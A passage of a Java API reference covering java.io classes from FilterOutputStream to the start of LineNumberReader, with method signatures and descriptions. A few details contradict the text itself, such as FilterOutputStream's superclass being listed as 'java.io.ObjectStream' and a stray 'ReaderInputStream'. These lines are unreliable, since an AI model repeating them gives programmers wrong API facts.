java.io.FilterOutputStream

Superclass:

java.io.ObjectStream

Immediate Subclasses:

java.io.BufferedOutputStream,

java.io.DataOutputStream,

java.io.PrintStream,

java.util.zip.CheckedOutputStream,

java.util.zip.DeflaterOutputStream

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The FilterOutputStream class is the superclass of all of the output stream classes that filter output. Each of the subclasses of FilterOutputStream works by wrapping an existing output stream, called the underlying output stream, and providing additional functionality. The methods of FilterOutputStream simply override the methods of OutputStream with versions that call the corresponding methods of the underlying stream.

FilterOutputStream cannot be instantiated directly; it must be subclassed. An instance of one of the subclasses of FilterOutputStream is constructed with another OutputStream object. The methods of a subclass of FilterOutputStream should override some methods in order to extend their behavior or provide some sort of filtering.

Class Summary

public class java.io.FilterOutputStream extends java.io.OutputStream {
  // Variables
  protected OutputStream out;
  // Constructors
  public FilterOutputStream(OutputStream out);
  // Instance Methods
  public void close();
  public void flush();
  public void write(int b);
  public void write(byte[] b);
  public void write(byte[] b, int off, int len);
}

Variables

out

protected OutputStream out

Description

The underlying stream that this FilterOutputStream wraps or filters.

Constructors

FilterOutputStream

public FilterOutputStream(OutputStream out)

Parameters

out

The output stream to filter.

Description

This constructor creates a FilterOutputStream that sends its data to out.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.close()

Description

This method calls the close() method of the underlying stream, which releases any system resources associated with this object.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.flush()

Description

This method calls the flush() method of the underlying stream, which forces any bytes that may be buffered by this FilterOutputStream to be written to the underlying device.

write

public void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.write(int)

Description

This method writes a byte containing the low-order eight bits of the given integer value. The method calls the write(int) method of the underlying stream.

public void write(byte[] b) throws IOException

Parameters

b

An array of bytes to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.write(byte[])

Description

This method writes the bytes contained in the given array. To accomplish this, it calls write(b, 0, b.length). Subclasses need override only write(byte[], int, int) for this method to work automatically.

public void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.write(byte[], int, int)

Description

This method writes len bytes contained in the given array, starting at offset off. It does this by calling write(int) for each element to be written in the array. This is inefficient, so subclasses should override write(byte[], int, int) with a method that efficiently writes a block of data.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedOutputStream, CheckedOutputStream, DataOutputStream, DeflaterOutputStream, IOException, OutputStream, PrintStream

Previous | Home | Next
FilterInputStream | Book Index | FilterReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FilterReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FilterReader

Name

FilterReader

Synopsis

Class Name:

java.io.FilterReader

Superclass:

java.io.Reader

Immediate Subclasses:

java.io.PushbackReader

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The FilterReader class is the superclass of all of the reader classes that filter input. A subclass of FilterReader works by wrapping an existing reader, called the underlying reader, and providing additional functionality. The methods of FilterReader simply override the methods of Reader with versions that call the corresponding methods of the underlying reader.

FilterReader cannot be instantiated directly; it must be subclassed. An instance of a subclass of FilterReader is constructed with another Reader object. The methods of a subclass of FilterReader should override some methods in order to extend their behavior or provide some sort of filtering.

FilterReader is like FilterInputStream, except that it deals with a character stream instead of a byte stream.

Class Summary

public abstract class java.io.FilterReader extends java.io.Reader {
  // Variables
  protected Reader in;
  // Constructors
  protected FilterReader(Reader in);
  // Instance Methods
  public void close();
  public void mark(int readAheadLimit);
  public boolean markSupported();
  public int read();
  public int read(char[] cbuf, int off, int len);
  public boolean ready();
  public void reset();
  public long skip(long n);
}

Variables

in

protected Reader in

Description

The underlying reader that this FilterReader wraps or filters.

Constructors

FilterReader

protected FilterReader(Reader in)

Parameters

in

The input reader to filter.

Description

This constructor creates a FilterReader that gets data from in.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.close()

Description

This method calls the close() method of the underlying reader, which releases any system resources associated with this object.

mark

public void mark(int readAheadLimit) throws IOException

Parameters

readAheadLimit

The maximum number of characters that can be read before the saved position becomes invalid.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.mark()

Description

This method calls the mark() method of the underlying reader. If the underlying reader supports mark() and reset(), this method causes the FilterReader to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus re-read a portion of the input.

markSupported

public boolean markSupported()

Returns

true if this reader supports mark() and reset(); false otherwise.

Overrides

Reader.markSupported()

Description

This method calls the markSupported() method of the underlying reader and returns the result.

read

public int read() throws IOException

Returns

The next character of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.read()

Description

This method calls the read() method of the underlying reader and returns the result. The method blocks until data is available, the end of the stream is detected, or an exception is thrown.

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

An offset into the array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.read(char[], int, int)

Description

This method reads up to len characters of input into the given array starting at index off. It does this by calling the read(char[], int, int) method of the underlying reader and returning the result. The method blocks until some data is available.

ready

public boolean ready() throws IOException

Returns

A boolean value that indicates whether the reader is ready to be read.

Throws

IOException

If the stream is closed.

Overrides

Reader.ready()

Description

This method calls the ready() method of the underlying reader and returns the result. If the underlying stream is ready, this method returns true. The underlying stream is ready if the next read() is guaranteed not to block.

reset

public void reset() throws IOException

Throws

IOException

If the stream is closed, mark() has not been called, or the saved position has been invalidated.

Overrides

Reader.reset()

Description

This method calls the reset() method of the underlying reader. If the underlying reader supports mark() and reset(), this method sets the position of the FilteredReader to a position that was saved by a previous call to mark(). Subsequent characters read from this FilteredReader will begin from the saved position and continue normally.

skip

public long skip(long n) throws IOException

Parameters

n

The number of characters to skip.

Returns

The actual number of characters skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.skip()

Description

This method skips n characters of input. It calls the skip() method of the underlying reader.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

FilterInputStream, IOException, PushbackReader, Reader

Previous | Home | Next
FilterOutputStream | Book Index | FilterWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FilterWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FilterWriter

Name

FilterWriter

Synopsis

Class Name:

java.io.FilterWriter

Superclass:

java.io.Writer

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The FilterWriter class is the superclass of all of the writer classes that filter output. A subclass of FilterWriter works by wrapping an existing writer, called the underlying writer, and providing additional functionality. The methods of FilterWriter simply override the methods of Writer with versions that call the corresponding methods of the underlying writer.

FilterWriter cannot be instantiated directly; it must be subclassed. An instance of a subclass of FilterWriter is constructed with another Writer object. The methods of a subclass of FilterWriter should override some methods in order to extend their behavior or provide some sort of filtering.

FilterWriter is like FilterOutputStream, except that it deals with a character stream instead of a byte stream.

Class Summary

public abstract class java.io.FilterWriter extends java.io.Writer {
  // Variables
  protected Writer out;
  // Constructors
  protected FilterWriter(Writer out);
  // Instance Methods
  public void close();
  public void flush();
  public void write(int c);
  public void write(char[] cbuf, int off, int len);
  public void write(String str, int off, int len);
}

Variables

out

protected Writer out

Description

The underlying writer that this FilterWriter wraps or filters.

Constructors

FilterWriter

public FilterWriter(Writer out)

Parameters

out

The output writer to filter.

Description

This constructor creates a FilterWriter that sends data to out.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.close()

Description

This method calls the close() method of the underlying writer, which releases any system resources associated with this object.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.flush()

Description

This method calls the flush() method of the underlying writer, which forces any characters that may be buffered by this FilterWriter to be written to the underlying device.

write

public void write(int c) throws IOException

Parameters

c

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(int)

Description

This method writes a character containing the low-order 16 bits of the given integer value. It calls the write(int) method of the underlying writer.

 public void write(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to write to the stream.

off

An offset into the array.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(char[], int, int)

Description

This method writes len characters contained in the given array, starting at offset off. It does this by calling the write(char[], int, int) method of the underlying writer.

public void write(String str, int off, int len) throws IOException

Parameters

str

A string to write to the stream.

off

An offset into the string.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(String, int, int)

Description

This method writes len characters contained in the given string, starting at offset off. It does this by calling the write(String, int, int) method of the underlying writer.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

FilterOutputStream, IOException, String, Writer

Previous | Home | Next
FilterReader | Book Index | InputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] InputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

InputStream

Name

InputStream

Synopsis

Class Name:

java.io.InputStream

Superclass:

java.lang.Object

Immediate Subclasses:

java.io.ByteArrayInputStream,

java.io.FileInputStream,

java.io.FilterInputStream,

java.io.ObjectInputStream,

java.io.PipedInputStream,

java.io.SequenceInputStream,

java.io.StringBufferInputStream

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The InputStream class is an abstract class that is the superclass of all classes that represent input byte streams. InputStream defines the basic input methods that all input streams provide. A similar hierarchy of classes, based around Reader, deals with character streams instead of byte streams.

InputStream is designed so that read(byte[]) and read(byte[], int, int) both call read(). Thus, a subclass can simply override read(), and all the read methods will work. However, for efficiency sake, read(byte[], int, int) should also be overridden with a method that can read a block of data more efficiently than reading each byte separately.

InputStream also defines a mechanism for marking a position in the stream and returning to it later, via the mark() and reset() methods. Another method, markSupported(), indicates whether or not this mark-and-reset functionality is available in a particular subclass.

Class Summary

public abstract class java.io.InputStream extends java.lang.Object {
  // Instance Methods
  public abstract int available();
  public void close();
  public synchronized void mark(int readlimit);
  public boolean markSupported();
  public abstract int read();
  public int read(byte[] b);
  public int read(byte[] b, int off, int len);
  public synchronized void reset();
  public long skip(long n);
}

Instance Methods

available

public abstract int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the number of bytes that can be read without having to wait for more data to become available, or in other words, blocking.

A subclass of InputStream must implement this method.

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the input stream and releases any resources associated with it.

The implementation of the close() method in InputStream does nothing; a subclass should override this method to handle cleanup for the stream.

mark

public synchronized void mark(int readlimit)

Parameters

readlimit

The maximum number of bytes that can be read before the saved position can become invalid.

Description

This method tells this InputStream object to remember its current position, so that the position can be restored by a call to the reset() method. The InputStream can read readlimit bytes beyond the marked position before the mark becomes invalid.

The implementation of the mark() method in InputStream does nothing; a subclass must override the method to provide the mark-and-reset functionality.

markSupported

public boolean markSupported()

Returns

true if this input stream supports mark() and reset(); false otherwise.

Description

This method returns a boolean value that indicates whether or not this object supports mark-and-reset functionality.

The markSupported() method in InputStream always returns false. A subclass that implements the mark-and-reset functionality should override the method to return true.

read

public abstract int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads the next byte of input. The byte is returned as an integer in the range 0 to 255. The method blocks until the byte is read, the end of stream is encountered, or an exception is thrown.

A subclass of InputStream must implement this method.

public int read(byte[] b) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads bytes of input to fill the given array by calling read(b, 0, b.length). The method blocks until some data is available.

A subclass does not usually need to override this method as it can override read(byte[], int, int) and have read(byte[]) work automatically.

public int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads up to len bytes of input into the given array starting at index off. The method blocks until some data is available.

The implementation of this method in InputStream uses read() repeatedly to fill the array. Although it is not strictly necessary, a subclass should override this method to read a block of data more efficiently.

reset

public synchronized void reset() throws IOException

Throws

IOException

If there was no previous call to the mark() method or the saved position has been invalidated.

Description

This method restores the position of the stream to the position that was saved by a previous call to mark().

The implementation of the reset() method in InputStream throws an exception to indicate that mark-and-reset functionality is not supported by default. A subclass must override the method to provide the functionality.

skip

public long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Description

This method skips n bytes of input. In other words, it moves the position of the stream forward by n bytes.

The implementation of the skip() method in InputStream simply calls read(b) where b is a byte array n bytes long. A subclass may want to override this method to implement a more efficient skipping algorithm.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ByteArrayInputStream, FileInputStream, FilterInputStream, IOException, ObjectInputStream, PipedInputStream, SequenceInputStream, StringBufferInputStream

Previous | Home | Next
FilterWriter | Book Index | InputStreamReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] InputStreamReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

InputStreamReader

Name

InputStreamReader

Synopsis

Class Name:

java.io.InputStreamReader

Superclass:

java.io.Reader

Immediate Subclasses:

java.io.FileReader

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The InputStreamReader class is a bridge between the byte-oriented world of the InputStream class and the character-oriented world of the Reader class. The InputStreamReader represents a character stream, but it gets its input from an underlying byte stream. An encoding scheme is responsible for translating the bytes to Unicode characters. An InputStreamReader can be created using an explicit encoding scheme or a default encoding scheme.

For example, to read an ISO-8859-5 byte stream as a Unicode character stream, you can construct an InputStreamReader with the encoding "8859_5" as follows:

InputStreamReader inr = new InputStreamReader(in, "8859_5");

Each time you read from an InputStreamReader object, bytes may be read from the underlying byte stream. To improve efficiency, you may want to wrap the InputStreamReader in a BufferedReader.

Class Summary

public class java.io.InputStreamReader extends java.io.Reader {
  // Constructors
  public InputStreamReader(InputStream in);
  public InputStreamReader(InputStream in, String enc);
  // Instance Methods
  public void close();
  public String getEncoding();
  public int read();
  public int read(char[] cbuf, int off, int len);
  public boolean ready();
}

Constructors

InputStreamReader

public InputStreamReader(InputStream in)

Parameters

in

The input stream to use.

Description

This constructor creates an InputStreamReader that gets its data from in and translates bytes to characters using the system's default encoding scheme.

 public InputStreamReader(InputStream in, String enc) throws UnsupportedEncodingException

Parameters

in

The input stream to use.

enc

The name of an encoding scheme.

Throws

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

This constructor creates an InputStreamReader that gets its data from in and translates bytes to characters using the given encoding scheme.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.close()

Description

This method calls the close() method of the underlying input stream, which releases any system resources associated with this object.

getEncoding

public String getEncoding()

Returns

A String that contains the name of the character encoding scheme of this reader.

Description

This method returns the name of the character encoding scheme this InputStreamReader is currently using.

read

public int read() throws IOException

Returns

The next character of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.read()

Description

This method reads a character of input. The method returns the next character that has been read and converted from the underlying byte-oriented InputStream. The InputStreamReader class uses buffering internally, so this method returns immediately unless the buffer is empty. If the buffer is empty, a new block of bytes is read from the InputStream and converted to characters. The method blocks until the character is read, the end of stream is encountered, or an exception is thrown.

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

An offset into the array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Reader.read(char[], int, int)

Description

This method reads up to len characters of input into the given array starting at index off. The InputStreamReader class uses buffering internally, so this method returns immediately if there is enough data in the buffer. If there is not enough data, a new block of bytes is read from the InputStream and converted to characters. The method blocks until some data is available.

ready

public boolean ready() throws IOException

Returns

true if the reader is ready to be read; false otherwise.

Throws

IOException

If the reader is closed or any other kind of I/O error occurs.

Overrides

Reader.ready()

Description

This method returns a boolean value that indicates whether or not the reader is ready to be read. If there is data available in the internal buffer or if there are bytes available to be read from the underlying byte stream, the method returns true. Otherwise it returns false.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | mark() | Reader
markSupported() | Reader | read(char[]) | Reader
reset() | Reader | skip(long) | Reader
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

BufferedReader, FileReader, InputStream, IOException, , Reader, UnsupportedEncodingException

Previous | Home | Next
InputStream | Book Index | InterruptedIOException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] InterruptedIOException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

InterruptedIOException

Name

InterruptedIOException

Synopsis

Class Name:

java.io.InterruptedIOException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An InterruptedIOException is thrown when an I/O operation is interrupted. This can occur when a thread is waiting for data to become available for a PipedInputStream or PipedReader to read. It can also occur when a thread is waiting for buffer space to become available for a PipedOutputStream or PipedWriter to write to. If the thread's interrupt() method is called while the thread is waiting, the read() or write() method in question throws an InterruptedIOException.

Class Summary

public class java.io.InterruptedIOException extends java.io.IOException {
  // Variables
  public int bytesTransferred;
  // Constructors
  public InterruptedIOException();
  public InterruptedIOException(String s);
}

Variables

bytesTransferred

public int bytesTransferred

Description

The number of bytes that had been transferred before the interruption.

Constructors

InterruptedIOException

public InterruptedIOException()

Description

This constructor creates an InterruptedIOException with no detail message.

public InterruptedIOException(String s)

Parameters

s

The detail message.

Description

This constructor creates an InterruptedIOException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, Throwable

Previous | Home | Next
InputStreamReader | Book Index | InvalidClassException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] InvalidClassException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

InvalidClassException

Name

InvalidClassException

Synopsis

Class Name:

java.io.InvalidClassException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

An InvalidClassException is thrown during object serialization. It indicates that the run-time environment does not support a serialized class for one of the following reasons:

  • The version of the class does not match the serial version of the class in the stream.

  • The class contains unknown data types.

An InvalidClassException can also indicate one of these problems with the class itself:

  • The class implements only one of writeObject() and readObject().

  • The class is not public.

  • The class does not have an accessible constructor that takes no arguments.

Class Summary

public class java.io.InvalidClassException
             extends java.io.ObjectStreamException {
  // Variables
  public String classname;
  // Constructors
  public InvalidClassException(String reason);
  public InvalidClassException(String cname, String reason);
  // Instance Methods
  public String getMessage();
}

Variables

classname

public String classname

Description

The name of the class that caused the exception.

Constructors

InvalidClassException

public InvalidClassException(String reason)

Parameters

reason

The reason the exception was thrown.

Description

This constructor creates an InvalidClassException with the specified reason string.

public InvalidClassException(String cname, String reason)

Parameters

cname

The name of the class.

reason

The reason the exception was thrown.

Description

This constructor creates an InvalidClassException with the specified class name and reason string.

Instance Methods

getMessage

public String getMessage()

Returns

The reason string for this exception.

Overrides

Throwable.getMessage()

Description

This method returns the reason string for this exception. If a class name has also been specified, it is prepended to the reason string with a semicolon.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectStreamException, Throwable

Previous | Home | Next
InterruptedIOException | Book Index | InvalidObjectException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] InvalidObjectException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

InvalidObjectException

Name

InvalidObjectException

Synopsis

Class Name:

java.io.InvalidObjectException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

An InvalidObjectException is thrown by an object to indicate that it cannot validate itself during object deserialization.

Class Summary

public class java.io.InvalidObjectException
             extends java.io.ObjectStreamException {
  // Constructors
  public InvalidObjectException(String reason);
}

Constructors

InvalidObjectException

public InvalidObjectException(String reason)

Parameters

reason

The detail message.

Description

This constructor creates an InvalidObjectException with the specified detail message, which should be the name of the class.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectStreamException, Throwable

Previous | Home | Next
InvalidClassException | Book Index | IOException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] IOException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

IOException

Name

IOException

Synopsis

Class Name:

java.io.IOException

Superclass:

java.lang.Exception

Immediate Subclasses:

java.io.CharConversionException,

java.io.EOFException,

java.io.FileNotFoundException,

java.io.InterruptedIOException,

java.io.ObjectStreamException,

java.io.SyncFailedException,

java.io.UnsupportedEncodingException,

java.io.UTFDataFormatException,

java.net.MalformedURLException,

java.net.ProtocolException,

java.net.SocketException,

java.net.UnknownHostException,

java.net.UnknownServiceException,

java.util.zip.ZipException

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The IOException class is the superclass for all of the exceptions that represent anything that can go wrong with input or output.

Class Summary

public class java.io.IOException extends java.lang.Exception {
  // Constructors
  public IOException();
  public IOException(String s);
}

Constructors

IOException

public IOException()

Description

This constructor creates an IOException with no detail message.

public IOException(String s)

Parameters

s

The detail message.

Description

This constructor creates an IOException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

CharConversionException, EOFException, Exception, FileNotFoundException, InterruptedException, MalformedURLException, ObjectStreamException, ProtocolException, SocketException, SyncFailedException, Throwable, UnknownHostException, UnknownServiceException, UnsupportedEncodingException, UTFDataFormatException, ZipException

Previous | Home | Next
InvalidObjectException | Book Index | LineNumberInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] LineNumberInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

LineNumberInputStream

Name

LineNumberInputStream

Synopsis

Class Name:

java.io.LineNumberInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

Deprecated as of JDK 1.1

Description

The LineNumberInputStream class is an InputStream that keeps track of line numbers. The line number starts at 0 and is incremented each time an end-of-line character is encountered. LineNumberInputStream recognizes "\n", "\r", or "\r\n" as the end of a line. Regardless of the end-of-line character it reads, LineNumberInputStream returns only "\n". The current line number is returned by getLineNumber(). The mark() and reset() methods are supported, but only work if the underlying stream supports mark() and reset().

The LineNumberInputStream class is deprecated as of JDK 1.1 because it does not perform any byte to character conversions. Incoming bytes are directly compared to end-of-line characters. If you are developing new code, you should use LineNumberReader instead.

Class Summary

public class java.io.LineNumberInputStream
             extends java.io.FilterInputStream {
  // Constructors
  public LineNumberInputStream(InputStream in);
  // Instance Methods
  public int available();
  public int getLineNumber();
  public void mark(int readlimit);
  public int read();
  public int read(byte[] b, int off, int len);
  public void reset();
  public void setLineNumber(int lineNumber);
  public long skip(long n);
}

Constructors

LineNumberInputStream

public LineNumberInputStream(InputStream in)

Parameters

in

The input stream to use.

Description

This constructor creates a LineNumberInputStream that gets its data from in.

Instance Methods

available

public int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.available()

Description

This method returns the number of bytes of input that can be read without having to wait for more input to become available.

getLineNumber

public int getLineNumber()

Returns

The current line number.

Description

This method returns the current line number.

mark

public void mark(int readlimit)

Parameters

readlimit

The maximum number of bytes that can be read before the saved position becomes invalid.

Overrides

FilterInputStream.mark()

Description

This method tells the LineNumberInputStream to remember its current position. A subsequent call to reset() causes the object to return to that saved position and thus reread a portion of the input. The method calls the mark() method of the underlying stream, so it only works if the underlying stream supports mark() and reset().

read

public int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read()

Description

This method reads a byte of input from the underlying stream. If "\n", "\r", or "\r\n" is read from the stream, "\n" is returned. Otherwise, the byte read from the underlying stream is returned verbatim. The method blocks until the byte is read, the end of stream is encountered, or an exception is thrown.

public int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method reads up to len bytes of input into the given array starting at index off. If "\n", "\r", or "\r\n" is read from the stream, "\n" is returned. The method does this by repeatedly calling read(), which is not efficient, especially if the underlying stream is not buffered. The method blocks until some data is available.

reset

public void reset() throws IOException

Throws

IOException

If there was no previous call to this FilterInputStream's mark() method or the saved position has been invalidated.

Overrides

FilterInputStream.reset()

Description

This method calls the reset() method of the underlying stream. If the underlying stream supports mark() and reset(), this method sets the position of the stream to a position that was saved by a previous call to mark(). Subsequent bytes read from this stream will begin from the saved position and continue normally. The method also restores the line number to its correct value for the mark location. The method only works if the underlying stream supports mark() and reset().

setLineNumber

public void setLineNumber(int lineNumber)

Parameters

lineNumber

The new line number.

Description

This method sets the current line number of the LineNumberInputStream. The method does not change the position of the stream.

skip

public long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.skip()

Description

This method skips n bytes of input. Note that since LineNumberInputStream returns "\r\n" as a single character, "\n", this method may skip over more bytes than you expect.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterInputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
markSupported() | FilterInputStream | notify() | Object
notifyAll() | Object | read(byte[]) | FilterInputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FilterInputStream, InputStream, IOException, LineNumberReader

Previous | Home | Next
IOException | Book Index | LineNumberReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] LineNumberReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

LineNumberReader

Name

LineNumberReader

Synopsis

Class Name:

java.io.LineNumberReader

Superclass:

java.io.BufferedReader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The LineNumberReader class is a BufferedReader that keeps track of line numbers. The line number starts at 0 and is incremented each time an end-of-line character is encountered. LineNumberReader recognizes "\n", "\r", or "\r\n" as the end of a line. Regardless of the end-of-line character it reads, ReaderInputStream returns only "\n". The current line number is returned by getLineNumber().

The LineNumberReader class is the JDK 1.1 replacement for LineNumberInputStream. Not only does it correctly handle byte to character conversions (via Reader), it implements read(byte[], int, int) and skip() more efficiently than its predecessor.

Class Summary

public class java.io.LineNumberReader extends java.io.BufferedReader {
  // Constructors
  public LineNumberReader(Reader in);
